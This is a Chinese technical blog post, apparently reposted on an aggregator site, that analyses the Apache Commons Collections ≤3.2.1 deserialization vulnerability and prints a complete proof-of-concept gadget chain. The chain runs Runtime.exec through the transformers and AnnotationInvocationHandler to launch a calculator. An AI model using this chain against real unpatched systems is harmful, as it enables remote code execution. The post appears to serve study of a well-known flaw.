Apache Commons Collections 反序列化漏洞

文章目录

  • 前言
  • 一、漏洞爆出
  • 二、复现环境
        • java集合框架
        • 问题
          • JVM
          • 反射
  • 三、Apache Commons Collections漏洞原理≤3.2.1
        • CC关键类
        • 调用链路
        • POC构造思路
        • POC


前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具 类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。可以在Apache官网下载CC的jar文件和源代码,用于代码审计。

Java集合框架:称为Collection,是Java中存在的一系列操作List、Set和Map的类的集合。Commons Collections扩展了集合框架,增强了很多功能。


一、漏洞爆出

·2015.01.28 Gabriel Lawrence和Chris Frohoff
https://speakerdeck.com/frohoff/appseccali-2015-marshalling-pickles-how-deserializing-objects-can-ruin-your-day
https://github.com/frohoff/ysoserial
·2015.11.06 FoxGlove Security @breenmachine
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://issues.apache.org/jira/browse/COLLECTIONS-580

二、复现环境

jdk1.7.0 80
IDEA Project Structrure, Settings–Java
compile等设置成java7
Apache Commons Collections 3.2.1

java集合框架

图片来自马士兵

问题

1、哪里出现了可以执行任意代码的问题?
2、序列化的payload怎么构造?

JVM

Java代码运行原理:
1、源码
2、编译器(javac)编译为字节码.class文件
3、各平台JⅣM解释器把字节码文件转换成操作系统指令(Java能达到跨平台的原因)

反射

在程序运行的时候动态创建一个类的实例,调用实例的方法和访问它的属性
Class —— Instance
Person —— new Person(“laow”)

三、Apache Commons Collections漏洞原理≤3.2.1

CC关键类

○InvokeTransformer
利用Java反射机制来创建类实例
○ChainedTransformer
实现了Transformer链式调用,我们只需要传入一个Transformer数组 ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法
○ConstantTransformer
transform()返回构造函数的对象
○TransformedMap

调用链路

图片来自马士兵

POC构造思路

1. InvokeTransformer
反射执行代码
2. ChainedTransformer
链式调用,自动触发
3. ConstantTransformer
获得对象
4. TransformedMap
元素变化执行transform,setValue——checkSetValue
5. AnnotationInvocationHandler
readObject 调用Map的setValue

在这里插入图片描述

InvokeTransformer中有一个transform方法,可以获得一个对象(Class.forName()或input.getClass()两种获得类对象的方法).class,
然后获得对象的方法,调用invoke触发其方法
有了这个方法,我们总不能认为这个方法会自己去跑吧!!!
于是,我们通过invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"}设置函数名称exec,类型,值   然后Object input = Runtime.getRuntime();创建外部程序执行命令的方法对象   传给invokerTransformer的transform方法invokerTransformer.transform(input);这个方法就会自动进行如下操作完整的Runtime.getRuntime().exec("./p.exe");实现Class cls = input.getClass();//获取Runtime.getRuntime()对象//获取Runtime.getRuntime()对象的方法(exec,方法类型)Method method = cls.getMethod(this.iMethodName, this.iParamTypes);通过invoke触发Runtime.getRuntime()对象的所有方法,这里填入的值是Calc.exereturn method.invoke(input, this.iArgs);
完整代码
public static void main(String[] args) {//创建实例传入构造方法参数(函数名 参数类型 参数值)InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"});try {Object input = Runtime.getRuntime();invokerTransformer.transform(input);}catch (Exception e){e.printStackTrace();}}
到这里,我们自己去写的就可以实现弹出计算器了,但是在实际的攻击中,我们要做到这点,利用现成的方法去做还是比较困难,
所以我们又找到了ChainedTransformer

在这里插入图片描述
我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
通过ConstantTransformer类的transform方法获取一个对象类型,如transform参数是Runtime.class时,调用ConstantTransformer类的transform方法,执行后返回java.lang.Runtime类
可能就会有人要问传入一个Runtime.getRuntime,最后返回这个一个对象,这样有啥意义,自己觉得没啥意义,唯一的意义就是它是Transform的子类,在CC链中很有意义!相当于实现调用invokerTransformer.transform(input);后,会执行的Class cls = input.getClass();
在这里插入图片描述
到这里,就又会有一个问题,chainedTransformer.transform(null);又凭什么能自动执行呢,所以我们又找到了下面的类TransformedMap,那么我们要怎么让他来触发transform,于是找到TransformedMap中的checkSetValue,那么什么时候又会执行checkSetValue呢,所以又找到了TransformedMap的父类AbstractInputCheckedMapDecorator中的setValue
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么一个Map的setValue什么时候会触发呢,当其中的元素增加、删除、修改的时候就会调用setValue,所以我们需要找一个对象,他在反序列化的时候,会给一个Map对象赋值,或者调用setValue。
于是我们就找到了AnnotationInvocationHandler,它在反序列化时,调用readObject,他在里面用了Entry(这个实质上就是Map)在其中调用了setValue
在这里插入图片描述
在这里插入图片描述
通过TransformedMap.decorate 返回一个键为null 值为transformedChain的一个TransformedMap,这里的hashmap键值对啥都行,TransformedMap实例化需要,而最终利用的就是这个对象中的entry的setValue方法,通过setValue可以触发Map的checkSetValue,从而触发transform

POC
Transformer[] transforms = new Transformer[]{//获得Runtime类对象new ConstantTransformer(Runtime.class),//传入Runtime类对象,反射执行getMethod获得getRuntime方法new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),//传入getRuntime方法,反射执行invoke方法,得到Runtime实列new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),//传入Runtime实列 ,执行exec方法new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc.exe"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);Map innermap = new HashMap();
innermap.put("value","value");
Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
//构造包含恶意map的AnnotationInvocationHandler对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exploitObj = cst.newInstance(Target.class, outermap);//序列化
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exploitObj);
oos.close();//反序列化
FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/466419.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

正则表达式1 re.match惰性匹配详解案例

点个关注 re.match() re.match() 函数尝试从字符串的开头开始匹配一个模式,如果匹配成功,返回一个匹配成功的对象,否则返回None。大小写区分,内容匹配不到后面的,只能匹配一个,不能有空格(开头匹配&#…

gov企业征信系统瑞数6vmp算法还原

URL aHR0cHM6Ly9zZC5nc3h0Lmdvdi5jbi8今天再来逆向下国家企业征信系统,这个站很卡,兄弟们你们轻点爬,我刷以下页面就转好久的圈圈,这个站两层防护,一层加速乐,一层瑞数,貌似还有极验验证码防护…

代码随想录算法训练营Day55 | 图论理论基础、深度优先搜索理论基础、卡玛网 98.所有可达路径、797. 所有可能的路径、广度优先搜索理论基础

目录 图论理论基础 深度优先搜索理论基础 卡玛网 98.所有可达路径 广度优先搜索理论基础 图论理论基础 图论理论基础 | 代码随想录 图的基本概念 图的种类 大体分为有向图和无向图。 图中的边有方向的是有向图: 图中的边没有方向的是无向图: 图…

【自学笔记】神经网络(1)

文章目录 介绍模型结构层(Layer)神经元 前向传播反向传播Q1: 为什么要用向量Q2: 不用激活函数会发生什么 介绍 我们已经学习了简单的分类任务和回归任务,也认识了逻辑回归和正则化等技巧,已经可以搭建一个简单的神经网络模型了。 …

详解Python面向对象程序设计

Python面向对象程序设计 1,初识类和对象2,类的定义和使用3,构造方法4,常用的类内置方法4.1,字符串方法:__str__ 4.2,是否小于:__lt__4.3,是否小于等于:__le__…

超级大项目招标:1000台AGV,12月13日截至

导语 大家好,我是社长,老K。专注分享智能制造和智能仓储物流等内容。 近期,一个重磅招标项目引发业界广泛关注:焦作机器人应用产业研究院发布总额高达11380万元的机器人采购项目,其中包括1000台AGV(无人叉车…

内部知识库:优化企业培训流程的关键驱动力

在当今快速变化的商业环境中,企业培训的重要性日益凸显。内部知识库作为整合、管理和分享企业内部学习资源的关键工具,正逐步成为优化企业培训流程的核心。以下将探讨内部知识库如何通过多种功能,助力企业提升培训效率、质量和员工满意度。 …

宏集Cogent DataHub: 高效实现风电场数据集中管理与自动化

01 案例概况 一家跨国电力公司使用宏集Cogent DataHub软件,在美国西南地区建立起风电场的集中控制和数据采集系统。该系统整合来自不同风力涡轮机的 OPC 服务器数据,并确保数据安全、实时的上传至中心 SCADA 系统和 Pi 数据库。这一解决方案实现了与现有…

全星魅 北斗手持终端:重塑户外通信与导航新体验

在当今这个信息高速发展的时代,户外探险、应急救援、野外作业等领域对于通信设备的要求越来越高。QM570B北斗手持终端,作为一款集成了多项尖端技术的智能设备,以其卓越的性能和丰富的功能,为户外工作者提供了前所未有的通信与导航…

pycharm小游戏贪吃蛇及pygame模块学习()

由于代码量大,会逐渐发布 一.pycharm学习 在PyCharm中使用Pygame插入音乐和图片时,有以下这些注意事项: 插入音乐: - 文件格式支持:Pygame常用的音乐格式如MP3、OGG等,但MP3可能需额外安装库&#xf…

【harbor】离线安装2.9.0-arm64架构服务制作和升级部署

harbor官网地址:Harbor 参考文档可以看这里:部署 harbor 2.10.1 arm64 - 简书。 前提环境准备: 安装docker 和 docker-compose 先拉arm64架构的harbor相关镜像 docker pull --platformlinux/arm64 ghcr.io/octohelm/harbor/harbor-regist…

【系统集成项目管理工程师教程】第13章 监控过程组

13.1控制质量 主要输入 项目管理计划(质量管理计划)、项目文件(经验教训登记册、质量测量指标、测试与评估文件)、批准的变更请求、可交付成果、工作绩效数据。 主要工具与技术 数据收集(核对单、核查表、统计抽样、问…

水资源遥测终端机助力灌区信息化建设

随着社会的不断进步和人口数量的持续增加,水资源的管理和合理利用变得愈发关键。为了确保水资源能够得到科学的管理和高效的利用,智慧水务信息化建设已经成为当前社会面临的一项重要任务。在这一过程中,水资源遥测终端机扮演着至关重要的角色…

硬件知识10 线性稳压电源——二极管稳压、射级跟随器稳压、集成电路稳压

目录 一、相关理论 二、二极管稳压电路 1、理论与计算 2、不足 三、射级跟随器稳压电路 四、集成电路稳压器 1、78 79系列 2、LM317 LM337系列 3、功耗计算 一、相关理论 前文已进行了AC到DC的转换,只不过这个DC效果一般,因此需要用到稳压&…

Aop+自定义注解实现数据字典映射

数据字典 Web项目开发中,字典表的一般都会存在,主要用来给整个系统提供基础服务。 比如男女性别的类型可以使用0和1来进行表示,在存储数据和查询数据的时候,就可以使用字典表中的数据进行翻译处理。 再比如之前做的一个项目中宠物…

Cursor的chat与composer的使用体验分享

经过一段时间的试用,下面对 Composer 与 Chat 的使用差别进行总结: 一、长文本及程序文件处理方面 Composer 在处理长文本时表现较为稳定,可以对长文进行更改而不会出现内容丢失的情况。而 Chat 在更改长的程序文件时,有时会删除…

小北的字节跳动青训营与调用模型:调用模型:OpenAI API vs 微调开源Llama2/ChatGLM(持续更新中~~~)

前言 最近,字节跳动的青训营再次扬帆起航,作为第二次参与其中的小北,深感荣幸能借此机会为那些尚未了解青训营的友友们带来一些详细介绍。青训营不仅是一个技术学习与成长的摇篮,更是一个连接未来与梦想的桥梁~ 小北的青训营 X M…

Axure设计之三级联动选择器教程(中继器)

使用Axure设计三级联动选择器(如省市区选择器)时,可以利用中继器的数据存储和动态交互功能来实现。下面介绍中继器三级联动选择器设计的教程: 一、效果展示: 1、在三级联动选择器中,首先选择省份&#xff…

七次课掌握 Photoshop:选区与抠图

Photoshop 是一门选择的艺术。Photoshop 提供了多种工具和方法来创建选区,适用于不同的场景和需求。 理解和熟练使用这些工具,是提高图像处理能力的关键。 ◆ ◆ ◆ 选区方法与操作 一、创建选区的工具和命令 1、选区工具 (1)选…

智慧商城项目-VUE2

实现效果 项目收获 通过本项目的练习,可以掌握以下内容: 创建项目 ##基本创建 基于 VueCli 自定义创建项目架子,并对相关的配置进行选择 vue create demo-shopping调整目录 删除文件 删除初始化的一些默认文件 src/assets/logo.pngsrc/components…